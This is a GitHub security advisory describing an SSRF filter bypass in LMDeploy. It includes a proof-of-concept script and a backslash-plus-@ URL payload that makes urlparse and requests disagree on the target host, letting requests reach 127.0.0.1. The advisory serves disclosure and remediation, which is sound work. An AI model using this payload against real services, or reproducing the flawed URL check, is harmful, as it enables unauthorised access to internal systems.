GHSA-39wr-7q6h-cf68

LMDeploy has an SSRF bypass

Published

2026-09-18

Modified

2026-09-18

Sources

github-advisory

Summary

### Summary The URL checking logic in lmdeploy has a logical flaw that could be bypassed by attackers, leading to SSRF attacks. ### Details The current lmdeploy project uses `_is_safe_url` to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks. However, there are indeed differences in parsing between urlparse and the library that actually sends the request. Currently, almost all application scenarios in this project involve first using `_is_safe_url` for URL validation, and then using requests.Session().get to send the request. The core issue: `urlparse()` and `requests` disagree on which host a URL like `http://127.0.0.1:6666\@1.1.1.1` points to: - `urlparse()` treats `\` as a regular character and `@` as the userinfo-host delimiter, so it extracts hostname as 1.1.1.1 (public) - `requests` treats `\` as a path character, connecting to `127.0.0.1` (internal) Below is a test code I wrote following the code. ``` from urllib.parse import urlparse import ipaddress import socket import requests def _is_safe_url(url: str) -> tuple[bool, str]: """Check if the URL is safe to fetch (not internal/private).""" try: parsed = urlparse(url) if parsed.scheme not in ("http", "https"): return False, f"Unsupported scheme: {parsed.scheme}" hostname = parsed.hostname if not hostname: return False, "Could not parse hostname from URL" # check all IPs (IPv4 + IPv6) using getaddrinfo try: infos = socket.getaddrinfo(hostname, None) except socket.gaierror: return False, "Hostname resolution failed" for info in infos: ip = ipaddress.ip_address(info[4][0]) # block any IP that is not globally routable (covers private, loopback, # link-local, multicast, reserved, unspecified, etc.) if not ip.is_global: return False, f"Blocked non-global IP detected: {ip}" return True, "URL is safe" except Exception as e: return False, f"URL validation failed: {str(e)}" # url = "http://127.0.0.1:6666" url = "http://127.0.0.1:6666\@1.1.1.1" is_safe, reason = _is_safe_url(url) if not is_safe: raise ValueError(f"URL is blocked for security reasons: {reason}") fetch_timeout = 10 client = requests.Session() client.max_redirects = 3 response = client.get(url, timeout=fetch_timeout, allow_redirects=True) ``` When an attacker uses http://127.0.0.1:6666/, the existing detection logic can detect that this is an internal network address and block it. However, when an attacker uses `http://127.0.0.1:6666\@1.1.1.1`, the detection logic resolves the host to `1.1.1.1`, which is a public IP address, thus passing the verification. But in the actual request process, this URL is forwarded by requests.get to `http://127.0.0.1:6666/`, bypassing the detection and achieving an SSRF attack. ### PoC ``` http://127.0.0.1:6666\@1.1.1.1 ``` ### Impact SSRF

Affected packages

Remediation: Upgrade to 0.15.0 or later.

References

• https://github.com/advisories/GHSA-39wr-7q6h-cf68